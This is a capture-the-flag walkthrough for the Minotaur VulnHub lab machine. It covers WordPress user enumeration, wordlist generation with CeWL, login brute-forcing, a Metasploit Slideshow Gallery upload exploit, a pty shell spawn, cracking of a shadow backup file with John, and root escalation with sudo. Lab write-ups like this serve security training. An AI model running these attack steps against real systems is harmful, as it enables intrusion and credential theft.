Hack the Minotaur VM (CTF Challenge)

Minotaur is a Boot2Root CTF challenge which helps us improve our skills especially of password cracking. The VM will assign itself a specific IP address (in the range). Do not change this, as the CTF will not work properly without an IP address of 192.168.56. We know to think about it i.e.:

  • One password you will need is not on rockyou.txt or any other wordlist you may have out there. So you need to think of a way to generate it yourself.
  • This CTF has a couple of fairly heavy password cracking challenges, and some red herrings.

You can download this VM from –> https://www.vulnhub.com/entry/sectalks-bne0x00-minotaur,139/


We will start off by nmap because we already our target IP.

nmap -p- -A

As a result of nmap we can see that the port numbers: 22, 80, 2020 are open. We can use port 22 and 80 to our advantage.

Now we tried to explore through nikto and curl but unfortunately we found nothing of use. So we decided to use dirbuster.

Go to the terminal of kali and type :


It will open the dirbuster. In it, give the url in the Target URL box and select directory-list-2.3-medium.txt file in the File with list of dir box.

It will show you the directory called /bull/

Open the said directory in your browser.

It will show that there is a blog made in WordPress.  As the blog is in wordpress we can apply WPScan to find usernames and vulnerable themes and plung-ins. To apply WPScan type:

wpscan -u –enumerate u

The command will start executing and it will show you all the plug-ins that is exploitable along with usernames.

As you can see that there is only one user with the username bully. Also, there is plug-in exploit for Slideshow Gallery. But we will require username and password to make this exploit work. Now we already have username and all we need is its password and we have no idea where to find it as we have no dictionary or password file. Therefore we will make a password file using ceWL.

CeWL is a ruby app which traverses a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password cracking. To make a password file from CeWL go to your terminal of your kali and type:

cewl -m 3 -w /root/Desktop/pass.txt

This will create a .txt with list of all the words that have a possibility to be the password for the username bully.

Now to find which its password is we will use BurpSuite. So, apply dictionary attack using burpsuite and the moment it will find the correct password it will change it value of length as shown below:

Now that we know username and password we can use that exploit for the plug-in. And to do so open metasploit and type:

use exploit/unix/webapp/wp_slideshowgallery_upload

set rhost

set rport 80

set targeturi /bull/

set wp_user buly

set wp_password Bighornedbulls


 As the exploit will run it will give you the session of meterpreter. Furthermore type,


echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

Execution of the above commands will take you to the terminal of your target. Then moving forward enter the /var/www/html folder and type :

ls -lsa

We found a flag here, let’s read it.

cat flag.txt

Then we went into /tmp folder and rread the flag there:

cd /tmp

ls -lsa

cat flag.txt

Now we found two flags but they were not the main flags and also we got a hint that shadow.bak file could be useful to us. Let’s have look in it.

cat shadow.bak

We will take help of John password cracker to find the passwords:

john shadow.bak

We found the passwords for both heffer and minotaur. Please recall that port number 22 i.e. for ssh was open and we can use it to log in and for this type:

ssh heffer@

Give the password when asked and further check its directories:

ls -lsa

We found a flag here. Read it.

cat flag.txt

Now in the flag we found another flag along with a hint indicating that the flag is Minotaur. Now we will log in through SSH using minotaur:

ssh minotaur@

Give the password when asked. And then check for directories:

ls -lsa

There is another flag available. Again read it.

cat flag.txt

Now, we have finally found the first flag along with another hint that is the final flag is in /root/flag.txt

Moving on, type the following to gain admin access and switch user :

sudo su

cd ..

cd ..

This will take you into the home folder. Here, type :

cd root

ls -lsa

FInally we have fouond the last flag.

cat flag.txt

WOOHOO!!! The flag is captured. Congrats and enjoy!!

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here.

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